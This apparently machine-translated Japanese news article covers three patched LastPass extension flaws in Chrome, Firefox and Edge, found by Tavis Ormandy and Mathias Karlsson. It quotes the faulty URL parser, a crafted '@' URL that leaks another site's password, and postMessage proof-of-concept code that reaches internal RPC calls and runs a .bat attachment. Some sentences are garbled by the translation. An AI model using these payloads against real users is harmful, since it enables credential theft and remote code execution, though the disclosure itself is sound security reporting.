LastPassはChrome / FF / Edgeからパスワードを渡し、リモートコード実行を許可しました





パスワードマネージャーを選択するのは簡単なことではありません。 テキストファイルの暗号化機能を備えたメモ帳とは別に、この分野には明確なリーダーはいません。 基本的な質問は、クラウドサービスを使用することは安全ですか、それともパスワードをローカルにのみ保存することが重要ですか? クラウドサービスを使用してもリスクが増加すると信じている人がいます。 そして、この論争には別の議論がありました。 LastPassパスワードマネージャーは、悪意のあるサイトがLastPassパスワードを直接抽出できるようにする3つの脆弱性 (Chrome拡張機能に1つ Firefox拡張機能に2つ )をクローズしました。 いつものように、脆弱性の原因はプログラマーのバグです。



現在、どのパスワードマネージャーが優れていますか? おそらく、それでもメモ帳に戻るには?



LastPassの企業ブログは、Google Project Zeroハッカーチームからセキュリティの専門家Tavis Ormandy(人気の高いソフトウェアのすべてのバグの大部分を同じ人々が見つけているのは驚くべきことです)から脆弱性について知らされたと報告しています。



LastPassは、ユーザーパスワードの盗難に気づいていないと言い、拡張機能の最新バージョンへの更新を推奨します。これらの拡張機能は、自動的に更新されていない場合は閉じられます。





パスワードの盗難は実際には起こらなかったと仮定します。 しかし、攻撃者はそのような盗難をどのように正確に実行できますか?



Firefoxの古い拡張ブランチの最初の脆弱性(Firefox 3.3.2メッセージハイジャック)は、3.3.2のURL解析スキームを悪用し、悪意のあるWebサイトが正当なWebサイトになりすまして、LastPassに資格情報を提供することを可能にしました。 このバグに関する情報は昨年LastPassに届きました。7月に脆弱性はクローズされましたが、新しい4.Xブランチのみで、3.Xブランチに転送するのを忘れていました。



昨年、セキュリティの専門家であるマティアス・カールソン 、LastPassのURLパーサーでこの恥ずべきバグについて詳しく語りました。



パーサーの外観は次のとおりです(LastPass拡張機能のlpParseUri関数)。



var fixedURL = URL.match(/^(.*:\/\/[^\/]+\/.*)@/); fixedURL && (url = url.substring(0, fixedURL[1].length) + url.substring(fixedURL[1].length).replace(/@/g, "%40"));
      
      





このような「犬」の処理は、 http://avlidienbrunn.se/@twitter.com/@hehe.php



avlidienbrunn.se



ようなhttp://avlidienbrunn.se/@twitter.com/@hehe.php



ブラウザーによってavlidienbrunn.se



ドメインのアドレスとして認識され、LastPass拡張機能がtwitter.com/@hehe.php



として認識されたことをavlidienbrunn.se



ます。 twitter.com/@hehe.php



したがって、自動補完機能はtwitter.com



ドメインのパスワードをavlidienbrunn.se



ドメインにavlidienbrunn.se







この脆弱性は、1年前にLastPassの現在のブランチでクローズされ、皆が笑って忘れていました。 ブランチ3.Xでもバグはまだ残っていることが判明しました。 LastPassの開発者は、ブランチが4月に正式に閉鎖された、つまり、誰もサポートに関与していなかったと説明しています。 古いバージョンのユーザーがまだいる場合は、4.1.36に切り替えることを強くお勧めします。



第二のバグ



LastPassが昨日閉鎖した2番目の脆弱性はすでに新鮮です。 また、Firefoxのバージョンだけでなく、ChromeとEdgeのバージョンにも影響します。 前のバグと同様に、ここでは悪意のあるサイトが信頼されているふりをしてパスワードを取得できます。 さらに、バイナリのLastPassコンポーネントを使用する場合、リモートでコードを実行することもできましたが、これはまったく受け入れられません。



Tavis Ormandyは Chromiumバグトラッカーからのメッセージで、この問題はwebsiteConnector.jsスクリプトにあると説明しました。このスクリプトは、1min-ui-prod.service.lastpass.comドメインでのみ使用されます。 ここでは、マニフェストに示されています。



 { "matches": [ "https://1min-ui-prod.service.lastpass.com/*" ], "js": [ "1minsignup/chrome/websiteConnector.js" ], "all_frames": true, "run_at": "document_end" },
      
      





スクリプトの内容:



 $ uglifyjs --beautify < 1minsignup/chrome/websiteConnector.js ... window.addEventListener("message", function(e) { e.data.fromExtension || chrome.runtime.sendMessage(e.data, function(e) {}); });
      
      





認証されていないウィンドウオブジェクトをwebsiteConnector.jsスクリプトから拡張機能に渡すと、誰でもこの関数を使用できます。



 win = window.open("https://1min-ui-prod.service.lastpass.com/"); win.postMessage({}, "*");
      
      





そして、すべての内部LastPass RPCコマンドにアクセスします。 パスワードを含む何百もの呼び出しがあります。 LastPass バイナリコンポーネントを使用すると、任意のコードを実行することもできます。



 win = window.open("https://1min-ui-prod.service.lastpass.com/"); win.postMessage({fromExtension: false, cmd: "openattach", attachkey: "d44479a4ce97554c24399f651ca76899179dec81c854b38ef2389c3185ae8eec", data: "!8uK7g5j8Eq08Nr86mhmMxw==|1dSN0jXZSQ51V1ww9rk4DQ==", mimetype: "other:.bat"}, "*");
      
      









Chromeの拡張機能のクローズドバグは、Firefoxの拡張機能のクローズドバグの1つと同じです。そこでは、いくつかの追加だけが必要でした。



Matthias Karlssonが昨年言ったように、そのような脆弱性を見つけることはパスワードマネージャーを放棄する理由にはなりません。



ところで、MicrosoftはEdgeの拡張機能の新しいバージョンをまだ承認していません。 このブラウザのLastPassユーザーは依然として悪用される可能性があるようです。



All Articles